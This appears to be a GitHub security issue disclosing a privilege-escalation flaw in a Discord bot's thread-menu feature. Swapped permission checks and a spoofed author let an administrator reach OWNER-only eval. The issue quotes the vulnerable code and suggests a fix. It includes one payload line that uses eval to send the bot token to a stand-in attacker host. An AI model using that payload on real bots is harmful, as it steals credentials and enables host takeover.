Skip to content

Security finding - thread-menu command callbacks neutralize permission checks: ADMIN -> host RCE via eval #3454

Description

@Pajt9whauht283as

Security report (responsible disclosure)

Privilege escalation: thread-creation-menu command callbacks neutralize permission checks — ADMIN → host RCE via eval

Affected: core/thread.py:2904-2936 (and same primitive at :3223-3262), core/checks.py:46-50, bot.py:507-510, cogs/threadmenu.py:148-149, 214-218, 261-268

Two stacked flaws:

(a) The INVALID-level predicate is an always-allow wildcard, and the level is derived from the live checks list, which the flow controls:

# checks.py:46-50
permission_level = ctx.bot.command_perm(command_name)
if permission_level is PermissionLevel.INVALID:
    return True

(b) Menu execution swaps the real checks out and spoofs author = bot:

# thread.py:2929-2936
for ctx_ in ctxs:
    if ctx_.command:
        old_checks = copy.copy(ctx_.command.checks)
        ctx_.command.checks = [checks.has_permissions(PermissionLevel.INVALID)]
        try:
            await self.outer_thread.bot.invoke(ctx_)

Once swapped, command_perm() reads back only the injected INVALID predicate → unconditional allow. Independently, the synthetic message makes ctx.author.id == ctx.bot.user.id, which checks.py:42 also passes.

Meanwhile option callbacks are stored as raw free text with zero validation (threadmenu.py:214-218).

Verified exploit chain

  1. Attacker holds ADMINISTRATOR in the support guild (documented boundary below OWNER).
  2. {prefix}threadmenu option add → wizard → type=command → callback: eval __import__('urllib.request',fromlist=['x']).urlopen('https://attacker/?t='+bot.config['token']).read().
  3. Any random Discord user DMs the bot and clicks the dropdown option.
  4. The menu flow resolves all_commands.get("eval"), spoofs author to the bot, swaps checks to always-allow, invokes → eval (correctly OWNER-only normally) executes arbitrary Python inside the bot process with bot/config in scope → host RCE + Discord token + MongoDB credential theft.

Suggested fix

Validate callbacks at set time (resolve command; require its level ≤ configurator's); at invoke time do NOT swap checks — evaluate the target command's original level against a recorded "configurator level", never against a spoofed author.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

No labels
No labels

Type

No type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions